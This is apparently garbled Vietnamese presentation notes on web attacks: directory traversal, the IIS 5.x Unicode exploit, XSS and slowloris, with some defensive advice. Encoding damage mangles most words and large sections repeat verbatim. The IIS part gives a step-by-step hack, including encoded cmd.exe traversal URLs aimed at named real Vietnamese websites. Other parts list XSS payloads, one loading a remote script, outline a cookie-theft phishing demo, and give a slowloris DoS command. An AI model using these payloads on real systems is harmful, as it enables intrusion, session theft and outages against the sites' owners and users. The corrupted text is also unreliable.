Những phiecircn bản mới của caacutec phần mềm webserver sẽ cấm vagrave khocircng co caacutec matilde nagravey hoạt độngTuy nhiecircn một số phiecircn bản cũ hơn khocircng lọc ra caacutec matilde trong thư mục gốc vagrave sẽ cho pheacutep hacker thực thi lệnh đoacute
Caacutec yecircu cầu sẽ trả lại cho người dugraveng một danh saacutech tất cả file trong ổ C bằng caacutech thực hiện lệnh dir c trong cmd
Trong quaacute trigravenh khai thaacutec k t n cocircng coacute th encode ho c ẻ ấ ể ặdouble encode s d ng 00(null) đ bypass filter magrave ử ụ ểWebsite đoacute aacutep d ngụ
2e2e2f mocirc tả cho 2e2e mocirc tả cho 2f mocirc tả cho 2e2e5c mocirc tả cho 2e2e mocirc tả cho 5c mocirc tả cho 252e252e255c mocirc tả cho 255c mocirc tả cho hellip
Đối với UTF-8 c0af mocirc tả cho c19c mocirc tả cho
Khi tiếp cận với một ứng dụng Web việc kiểm tra noacute coacute khả năng bị lỗi Path Traversal coacute thể được thực hiện bằng hai loại
+ Nếu kẻ tấn cocircng khocircng thể coacute source thigrave chuacuteng sẽ dugraveng spider crawler để thực hiện kiểm tra Website vagrave từ những kết quả magrave spider mang lại chuacuteng sẽ lần lượt kiểm tra caacutec biến đối với caacutec phương thức GET POST hoặc COOKIE magrave coacute khả năng bị lỗi
+ Nếu kẻ tấn cocircng coacute source code thigrave coacute thể tigravem kiếm những hagravem của những ngocircn ngữ lập trigravenh Web magrave coacute khả năng gacircy ra lỗi Path Traversal như
PHP include() include_once() require() require_once() fopen() readfile() JSPServlet javaioFile() javaioFileReader() ASP include file include virtual
Caacutech tốt nhất để kiểm tra xem trang web vagrave caacutec ứng dụng của bạn lagrave dễ bị tấn cocircng Directory Traversal lagrave sử dụng một Web Vulnerability Scanner
Web Vulnerability Scanner scan toagraven bộ trang web của bạn vagrave tự động kiểm tra lỗ hổng Directory Traversal Noacute sẽ thocircng baacuteo caacutec lỗi vagrave lagravem thế nagraveo để sửa chữa noacute
Trước hết đảm bảo bạn đatilde cagravei đặt phiecircn bản mới nhất của phần mềm Webserver (ISS Apache) bạn đang dugraveng vagrave chắc chắn rằng tất cả caacutec bản vaacute lỗi đatilde được aacutep dụng
kiểm tra biến cẩn thận (coacute thể aacutep dụng filter) khi sử dụng caacutec hagravem đatilde giới thiệu ở trecircn magrave coacute khả năng gacircy ra lỗi cho pheacutep kẻ tấn cocircng thực hiện Path Traversal
Với một hệ thống dễ bị Directory Traversal kẻ tấn cocircng coacute thể lagravem cho việc sử dụng lỗ hổng nagravey truy cập caacutec bộ phận khaacutec của hệ thống tập tin từ thư mục gốc
Điều nagravey coacute thể cung cấp cho những kẻ tấn cocircng khả năng xem những tập tin bị giới hạn hoặc thậm chiacute nguy hiểm hơn cho pheacutep kẻ tấn cocircng thực thi lệnh trecircn webservercoacute thể dẫn đến hacker coacute quyền đầy đủ trecircn hệ thống
Tuy nhiecircn một số filter như saustr_replace($_GET[help_file]) thigrave vẫn bị lỗi bởi lẽ kẻ tấn cocircng coacute thể sử dụng ldquohelliprdquo như thế sau khi qua code lọc ở trecircn noacute sẽ trở thagravenh ldquordquo
Rotilde ragraveng việc lọc như vậy vẫn khocircng triệt đểThay vagraveo đoacute caacutec bạn necircn sử dụng caacutec biểu thức chiacutenh để lọc tốt hơn eregi([]$_GET[help_file])
I KHAacuteI NIỆMII HOẠT ĐỘNG NHƯ THẾ NAgraveO III PHAacuteT HIỆN XSS BẰNG CAacuteCH NAgraveO IV CAacuteCH PHOgraveNG CHỐNG LỖI XSSV DEMO
IIS(Internet Information Service ) lagrave 1 ng d ng ứ ụwebserver mang th ng hi u c a Microsoftươ ệ ủ
IIS server v i caacutec phiecircn b n t tr c đ n phiecircn ớ ả ừ ướ ếb n 5x đ u coacute l i đ ta coacute th khai thaacutec m c đ nh ả ề ỗ ể ể ặ ịtiacutenh năng hit highlight c a IIS 5x b qua giai ủ ỏđo n ch ng th c c b n ạ ứ ự ơ ả
L i n m ph n l c IDA ISAPI (Internet Services ỗ ằ ở ầ ọApplication Programming Interface) noacute cho pheacutep m t maacutey tiacutenh t xa đ a l nh yecircu c u li t kecirc danh ộ ừ ư ệ ầ ệsaacutech file coacute trong h th ng maacuteyệ ố
Hacker coacute th s d ng th thu t đ n gi n lagrave g i ể ử ụ ủ ậ ơ ả ửcho maacutey ch m t kh i l ng x lyacute thocircng tin nhi u ủ ộ ố ượ ử ềh n kh năng c a noacute L ng thocircng tin ch a k p x ơ ả ủ ượ ư ị ửlyacute đoacute - v m t k thu t đ c g i lagrave ldquoshell coderdquo - coacute ề ặ ỹ ậ ượ ọth mang m t lo t caacutec cacircu l nh cho pheacutep k xacircm ể ộ ạ ệ ẻnh p ki m soaacutet maacutey tiacutenh n n nhacircn ậ ể ạ
httpwwwcanthogovvn httpwwwcantho1260net httphanhtrangsinhviennet httphauionlinecom httpdaynghedientucom httpsinhvienbinhdinhvn hellip Do l i nagravey đatilde l i th i necircn coacute th 1 s trang nagravey ỗ ỗ ờ ể ố
đatilde fix đ c l i trecircn ượ ỗ
Đ hack IIS server 5x ta dugraveng 2 cocircng c activeperl IE vagrave ể ụ1 exploit Unicodepl
Xaacutec đ nh trang web m c l i nagraveyị ắ ỗ S d ng telnet đ xaacutec đ nh trang Web ta t n cocircng coacute s ử ụ ể ị ấ ử
d ng IIS server 50 hay khocircng ụ
telnet lt tecircn trang Web gt 80 GET HEAD HTTP10
N u noacute khocircng baacuteo cho ta bi t trang web đang s d ng ch ng ế ế ử ụ ươtrigravenh gigrave thigrave caacutec b n hatildey thay đ i c ng 80 b ng caacutec c ng khaacutec ạ ổ ổ ằ ổnh 8080 81 8000 8001 vvhellip ư
Sau khi đatilde xaacutec đ nh đ c m c tiecircu caacutec b n vagraveo ị ượ ụ ạRun gt CMD gotilde
code perl unicodepl Host ( gotilde đ a ch server magrave caacutec b n mu n hack ) ị ỉ ạ ốPort 80 ( ho c 8080 81 8000 8001 tuỳ theo ặc ng magrave ta đatilde telnet tr c đoacute ) ổ ướ
Caacutec b n s th y b ng li t kecirc l i ( đatilde đ c l p trigravenh trong Unicodepl ) ạ ẽ ấ ả ệ ỗ ượ ậnh sau ư
[1] scriptsc0afwinntsystem32cmdexec+ [2]scriptsc19cwinntsystem32cmdexec+ [3] scriptsc1pcwinntsystem32cmdexec+ [4]scriptsc09vwinntsystem32cmdexec+ [5] scriptsc0qfwinntsystem32cmdexec+ [6] scriptsc18swinntsystem32cmdexec+ [7] scriptsc11cwinntsystem32cmdexec+ [8] scriptsc19cwinntsystem32cmdexec+ [9] scriptsc1afwinntsystem32cmdexec+ [10] scriptse080afwinntsystem32cmdexec+ [11]scriptsf08080afwinntsystem32cmdexec+ [12] scriptsf8808080afwinntsystem32cmdexec+ [13]scriptsfc80808080afwinntsystem32cmdexec+ [14]msadce080afe080afe080afwinntsystem32cmdexec+
[15]cgi-binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [16]samplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [17]iisadmpwdc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [18]_vti_cnfc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [19]_vti_binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [20]adsamplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+
Caacutec b n s th y đ c t t c caacutec l i trecircn n u trang Web n n ạ ẽ ấ ượ ấ ả ỗ ế ạnhacircn b t t c nh ng l i nh v y n u server c a n n nhacircn ị ấ ả ữ ỗ ư ậ ế ủ ạch b l i th 13 vagrave 17 thigrave b ng k t qu ch xu t hi n dograveng ỉ ị ỗ ứ ả ế ả ỉ ấ ệth 13 vagrave 17 magrave thocirci ứVD
b ng k t qu cho ta bi t trang Web n n nhacircn b l i th 3 ả ế ả ế ạ ị ỗ ứvagrave 7 ta s vagraveo IE vagrave nh p đo n matilde t ng ng trecircn ẽ ậ ạ ươ ứAddress
httpwww4rumcomscriptsc1pcwinntsystem32cmdexec+ lt == l i dograveng th 3 ỗ ứho c ặhttpwww4rumcomscriptsc11cwinntsystem32cmdexec+ lt == l i dograveng th 7 ỗ ứ
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
Cơ chế xử lyacute một request của apache khaacute chặt chẽ noacute coacute đến 7 phase khaacutec nhau (unescapes URL strips parent and elements from the URI initial URI location walk translate_name Hook map_to_storage URI location walk Hook header_parser) Tuy nhiecircn đến phase parse header của một HTTP request thigrave noacute bị chết bởi slowloris vigrave apache hoagraven toagraven khocircng coacute cơ chế nagraveo kiểm tra nội dung của header cho đến khi noacute nhận được đầy đủ (dựa vagraveo CRLF character trecircn HTTP header) Socket do slowloris khởi tạo vẫn giữ nguyecircn ở đoacute vagrave apache vẫn chờ cho đến khi TimeOut
Yecircu c u ầ Dugraveng ph n m m ActivePerlầ ề Coacute file dosapchepl Vagraveo cmd gotilde lệnh
perl tecircn đường dẫn chứa file dosapchepl ndashdns tecircn trang web cần dos
Ruacutet ngắn TimeOut xuống đến mức tối thiểu thigrave slowloris trở necircn vocirc taacutec dụng nh ng s nh ư ẽ ảh ng t i caacutec rerequest khaacutec khocircng ph do ưở ớ ảslowloris gửi tới
Dugraveng iptables chặn những những ip gửi nhiều request liecircn tục ( Phương aacuten nagravey coacute thể dẫn đến việc chặn nhầm caacutec proxy)
Dugraveng haproxy để cho gửi những request hoagraven chỉnh tới apche
Dugraveng mod_antiloris giới hạn số lượng kết nối đồng thời của 1 địa chỉ ip giử những request tới
I Khaacutei niệmII Directory Traversal Attack theo ứng dụng
webIII Directory Traversal Attack theo WebserverIV Lagravem thế nagraveo để kiểm tra lỗ hổng Directory
Traversal V Ngăn chặn Directory Traversal AttackVI Taacutec hại
Kiểm soaacutet việc truy cập nội dung của 1 trang web lagrave rất quan trọng đối với 1 webserver
Directory Traversal Attack Path Traversal hay cograven được biết với một số tecircn khaacutec như ldquodot-dot-slashrdquo ldquodirectory traversalrdquordquodirectory clumbingrdquo vagrave ldquobacktrackingrdquo lagrave higravenh thức tấn cocircng truy cập đến những file vagrave thư mục magrave được lưu becircn ngoagravei thư mục webroot
Maacutey chủ web cung cấp hai cấp độ chiacutenh của cơ chế bảo mật Access Control Lists (ACLs) vagrave Root directory
Access Control Lists (ACL) được sử dụng trong quaacute trigravenh uỷ quyền
Noacute lagrave một danh saacutech magrave caacutec maacutey chủ web của quản trị viecircn sử dụng để chỉ những người dugraveng hoặc caacutec nhoacutem coacute thể truy cập sửa đổi hoặc thực thi caacutec tập tin cụ thể trecircn maacutey chủ cũng như quyền truy cập khaacutec
Caacutec thư mục gốc lagrave một thư mục cụ thể trecircn hệ thống tập tin maacutey chủ trong đoacute người sử dụng bị hạn chế
Người dugraveng khocircng thể truy cập bất cứ điều gigrave ở trecircn gốc nagravey
Viacute dụ caacutec thư mục gốc mặc định của IIS trecircn
Windows lagrave C Inetpub wwwroot vagrave với thiết lập nagravey một người dugraveng khocircng coacute
quyền truy cập vagraveo C Windows nhưng coacute quyền truy cập vagraveo C Inetpub wwwroot
vagrave bất kỳ thư mục khaacutec vagrave caacutec tập tin theo thư mục gốc (được cung cấp cho người dugraveng được xaacutec thực thocircng qua ACL)
Lỗ hổng nagravey coacute thể tồn tại hoặc trong caacutec phần mềm maacutey chủ web riecircng của migravenh hoặc trong matilde ứng dụng web
Để thực hiện một cuộc tấn cocircng theo cacircy thư mục tất cả caacutec nhu cầu của kẻ tấn cocircng lagrave một trigravenh duyệt web vagrave một số thocircng tin tigravem thấy trongbất kỳ tập tin vagrave thư mục mặc định trecircn hệ thống
Trong caacutec ứng dụng web với caacutec trang dynamic input thường nhận được từ caacutec trigravenh duyệt thocircng qua phương thức GET hoặc yecircu cầu POST Dưới đacircy lagrave một viacute dụ của một yecircu cầu HTTP GET URL
httptestwebarticlescomshowaspview=oldarchivehtml
Với URL nagravey trigravenh duyệt yecircu cầu hiển thị showasp động từ maacutey chủ vagrave cugraveng với noacute cũng sẽ gửi tham số ldquoView với giaacute trị của oldarchivehtml
Khi yecircu cầu nagravey được thực thi trecircn maacutey chủ web showasp tigravem file oldarchivehtm từ hệ thống tập tin của maacutey chủ gửi noacute trở lại trigravenh duyệt sau đoacute hiển thị cho người dugraveng
Hackers sẽ giả định rằng showasp coacute thể lấy caacutec tập tin từ hệ thống tập tin vagrave gửi URL tuỳ chỉnh
httptestwebarticlescomshowaspview=Windowssystemini
Trang web sẽ lấy file systemini từ hệ thống tập tin vagrave hiển thị noacute cho người dugraveng
Những biểu hiện hướng dẫn của hệ thống để đi một trong những thư mục cao hơn magrave thường được sử dụng để chứa caacutec file hệ thống
Kẻ tấn cocircng coacute thể đoaacuten được thư mục coacute bao nhiecircu cấp để tigravem thư mục Windows trecircn hệ thống nhưng đacircy lagrave một caacutech dễ dagraveng thực hiện bằng caacutech thử với caacutec cấp khaacutec nhau
Ngoagravei lỗ hổng trong caacutec matildeNgay cả bản thacircn webserver cũng coacute thể tạo điều kiện cho caacutec cuộc tấn cocircng Directory Traversal
Lỗi coacute thể phaacutet sinh do phần mềm web server hoặc trong một số file script coacute sẵn trecircn server
Lỗi đatilde được phaacutet sinh sẵn trong caacutec phiecircn bản của phần mềm werver web coacute những webserver trực tuyến magrave vẫn cograven sử dụng phiecircn bản cũ của IIS vagrave Apache magrave coacute thể mắc lỗi Directory Traversal
Bạn coacute thể coacute một số thư mục mặc định chứa những file Script nhạy cảm coacute thể khai thaacutec được cũng được hacker khai thaacutec
Viacute dụ một yecircu cầu URL lagravem cho việc sử dụng thư
mục script của IIS tới thư mục đi qua vagrave thực thi một lệnh coacute thể được
httpservercomscripts5cWindowsSystem32 cmdexec+dir+c cmdexe c + dir + c
ldquo 5crdquo lagrave 1 matilde trong URL yecircu cầu một webserver sử dụng để đại diện cho kiacute tự thường dugraveng Trong trường hợp nagravey ldquo 5crdquo đại diện cho caacutec kyacute tự
Những phiecircn bản mới của caacutec phần mềm webserver sẽ cấm vagrave khocircng co caacutec matilde nagravey hoạt độngTuy nhiecircn một số phiecircn bản cũ hơn khocircng lọc ra caacutec matilde trong thư mục gốc vagrave sẽ cho pheacutep hacker thực thi lệnh đoacute
Caacutec yecircu cầu sẽ trả lại cho người dugraveng một danh saacutech tất cả file trong ổ C bằng caacutech thực hiện lệnh dir c trong cmd
Trong quaacute trigravenh khai thaacutec k t n cocircng coacute th encode ho c ẻ ấ ể ặdouble encode s d ng 00(null) đ bypass filter magrave ử ụ ểWebsite đoacute aacutep d ngụ
2e2e2f mocirc tả cho 2e2e mocirc tả cho 2f mocirc tả cho 2e2e5c mocirc tả cho 2e2e mocirc tả cho 5c mocirc tả cho 252e252e255c mocirc tả cho 255c mocirc tả cho hellip
Đối với UTF-8 c0af mocirc tả cho c19c mocirc tả cho
Khi tiếp cận với một ứng dụng Web việc kiểm tra noacute coacute khả năng bị lỗi Path Traversal coacute thể được thực hiện bằng hai loại
+ Nếu kẻ tấn cocircng khocircng thể coacute source thigrave chuacuteng sẽ dugraveng spider crawler để thực hiện kiểm tra Website vagrave từ những kết quả magrave spider mang lại chuacuteng sẽ lần lượt kiểm tra caacutec biến đối với caacutec phương thức GET POST hoặc COOKIE magrave coacute khả năng bị lỗi
+ Nếu kẻ tấn cocircng coacute source code thigrave coacute thể tigravem kiếm những hagravem của những ngocircn ngữ lập trigravenh Web magrave coacute khả năng gacircy ra lỗi Path Traversal như
PHP include() include_once() require() require_once() fopen() readfile() JSPServlet javaioFile() javaioFileReader() ASP include file include virtual
Caacutech tốt nhất để kiểm tra xem trang web vagrave caacutec ứng dụng của bạn lagrave dễ bị tấn cocircng Directory Traversal lagrave sử dụng một Web Vulnerability Scanner
Web Vulnerability Scanner scan toagraven bộ trang web của bạn vagrave tự động kiểm tra lỗ hổng Directory Traversal Noacute sẽ thocircng baacuteo caacutec lỗi vagrave lagravem thế nagraveo để sửa chữa noacute
Trước hết đảm bảo bạn đatilde cagravei đặt phiecircn bản mới nhất của phần mềm Webserver (ISS Apache) bạn đang dugraveng vagrave chắc chắn rằng tất cả caacutec bản vaacute lỗi đatilde được aacutep dụng
kiểm tra biến cẩn thận (coacute thể aacutep dụng filter) khi sử dụng caacutec hagravem đatilde giới thiệu ở trecircn magrave coacute khả năng gacircy ra lỗi cho pheacutep kẻ tấn cocircng thực hiện Path Traversal
Với một hệ thống dễ bị Directory Traversal kẻ tấn cocircng coacute thể lagravem cho việc sử dụng lỗ hổng nagravey truy cập caacutec bộ phận khaacutec của hệ thống tập tin từ thư mục gốc
Điều nagravey coacute thể cung cấp cho những kẻ tấn cocircng khả năng xem những tập tin bị giới hạn hoặc thậm chiacute nguy hiểm hơn cho pheacutep kẻ tấn cocircng thực thi lệnh trecircn webservercoacute thể dẫn đến hacker coacute quyền đầy đủ trecircn hệ thống
Tuy nhiecircn một số filter như saustr_replace($_GET[help_file]) thigrave vẫn bị lỗi bởi lẽ kẻ tấn cocircng coacute thể sử dụng ldquohelliprdquo như thế sau khi qua code lọc ở trecircn noacute sẽ trở thagravenh ldquordquo
Rotilde ragraveng việc lọc như vậy vẫn khocircng triệt đểThay vagraveo đoacute caacutec bạn necircn sử dụng caacutec biểu thức chiacutenh để lọc tốt hơn eregi([]$_GET[help_file])
I KHAacuteI NIỆMII HOẠT ĐỘNG NHƯ THẾ NAgraveO III PHAacuteT HIỆN XSS BẰNG CAacuteCH NAgraveO IV CAacuteCH PHOgraveNG CHỐNG LỖI XSSV DEMO
IIS(Internet Information Service ) lagrave 1 ng d ng ứ ụwebserver mang th ng hi u c a Microsoftươ ệ ủ
IIS server v i caacutec phiecircn b n t tr c đ n phiecircn ớ ả ừ ướ ếb n 5x đ u coacute l i đ ta coacute th khai thaacutec m c đ nh ả ề ỗ ể ể ặ ịtiacutenh năng hit highlight c a IIS 5x b qua giai ủ ỏđo n ch ng th c c b n ạ ứ ự ơ ả
L i n m ph n l c IDA ISAPI (Internet Services ỗ ằ ở ầ ọApplication Programming Interface) noacute cho pheacutep m t maacutey tiacutenh t xa đ a l nh yecircu c u li t kecirc danh ộ ừ ư ệ ầ ệsaacutech file coacute trong h th ng maacuteyệ ố
Hacker coacute th s d ng th thu t đ n gi n lagrave g i ể ử ụ ủ ậ ơ ả ửcho maacutey ch m t kh i l ng x lyacute thocircng tin nhi u ủ ộ ố ượ ử ềh n kh năng c a noacute L ng thocircng tin ch a k p x ơ ả ủ ượ ư ị ửlyacute đoacute - v m t k thu t đ c g i lagrave ldquoshell coderdquo - coacute ề ặ ỹ ậ ượ ọth mang m t lo t caacutec cacircu l nh cho pheacutep k xacircm ể ộ ạ ệ ẻnh p ki m soaacutet maacutey tiacutenh n n nhacircn ậ ể ạ
httpwwwcanthogovvn httpwwwcantho1260net httphanhtrangsinhviennet httphauionlinecom httpdaynghedientucom httpsinhvienbinhdinhvn hellip Do l i nagravey đatilde l i th i necircn coacute th 1 s trang nagravey ỗ ỗ ờ ể ố
đatilde fix đ c l i trecircn ượ ỗ
Đ hack IIS server 5x ta dugraveng 2 cocircng c activeperl IE vagrave ể ụ1 exploit Unicodepl
Xaacutec đ nh trang web m c l i nagraveyị ắ ỗ S d ng telnet đ xaacutec đ nh trang Web ta t n cocircng coacute s ử ụ ể ị ấ ử
d ng IIS server 50 hay khocircng ụ
telnet lt tecircn trang Web gt 80 GET HEAD HTTP10
N u noacute khocircng baacuteo cho ta bi t trang web đang s d ng ch ng ế ế ử ụ ươtrigravenh gigrave thigrave caacutec b n hatildey thay đ i c ng 80 b ng caacutec c ng khaacutec ạ ổ ổ ằ ổnh 8080 81 8000 8001 vvhellip ư
Sau khi đatilde xaacutec đ nh đ c m c tiecircu caacutec b n vagraveo ị ượ ụ ạRun gt CMD gotilde
code perl unicodepl Host ( gotilde đ a ch server magrave caacutec b n mu n hack ) ị ỉ ạ ốPort 80 ( ho c 8080 81 8000 8001 tuỳ theo ặc ng magrave ta đatilde telnet tr c đoacute ) ổ ướ
Caacutec b n s th y b ng li t kecirc l i ( đatilde đ c l p trigravenh trong Unicodepl ) ạ ẽ ấ ả ệ ỗ ượ ậnh sau ư
[1] scriptsc0afwinntsystem32cmdexec+ [2]scriptsc19cwinntsystem32cmdexec+ [3] scriptsc1pcwinntsystem32cmdexec+ [4]scriptsc09vwinntsystem32cmdexec+ [5] scriptsc0qfwinntsystem32cmdexec+ [6] scriptsc18swinntsystem32cmdexec+ [7] scriptsc11cwinntsystem32cmdexec+ [8] scriptsc19cwinntsystem32cmdexec+ [9] scriptsc1afwinntsystem32cmdexec+ [10] scriptse080afwinntsystem32cmdexec+ [11]scriptsf08080afwinntsystem32cmdexec+ [12] scriptsf8808080afwinntsystem32cmdexec+ [13]scriptsfc80808080afwinntsystem32cmdexec+ [14]msadce080afe080afe080afwinntsystem32cmdexec+
[15]cgi-binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [16]samplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [17]iisadmpwdc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [18]_vti_cnfc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [19]_vti_binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [20]adsamplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+
Caacutec b n s th y đ c t t c caacutec l i trecircn n u trang Web n n ạ ẽ ấ ượ ấ ả ỗ ế ạnhacircn b t t c nh ng l i nh v y n u server c a n n nhacircn ị ấ ả ữ ỗ ư ậ ế ủ ạch b l i th 13 vagrave 17 thigrave b ng k t qu ch xu t hi n dograveng ỉ ị ỗ ứ ả ế ả ỉ ấ ệth 13 vagrave 17 magrave thocirci ứVD
b ng k t qu cho ta bi t trang Web n n nhacircn b l i th 3 ả ế ả ế ạ ị ỗ ứvagrave 7 ta s vagraveo IE vagrave nh p đo n matilde t ng ng trecircn ẽ ậ ạ ươ ứAddress
httpwww4rumcomscriptsc1pcwinntsystem32cmdexec+ lt == l i dograveng th 3 ỗ ứho c ặhttpwww4rumcomscriptsc11cwinntsystem32cmdexec+ lt == l i dograveng th 7 ỗ ứ
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
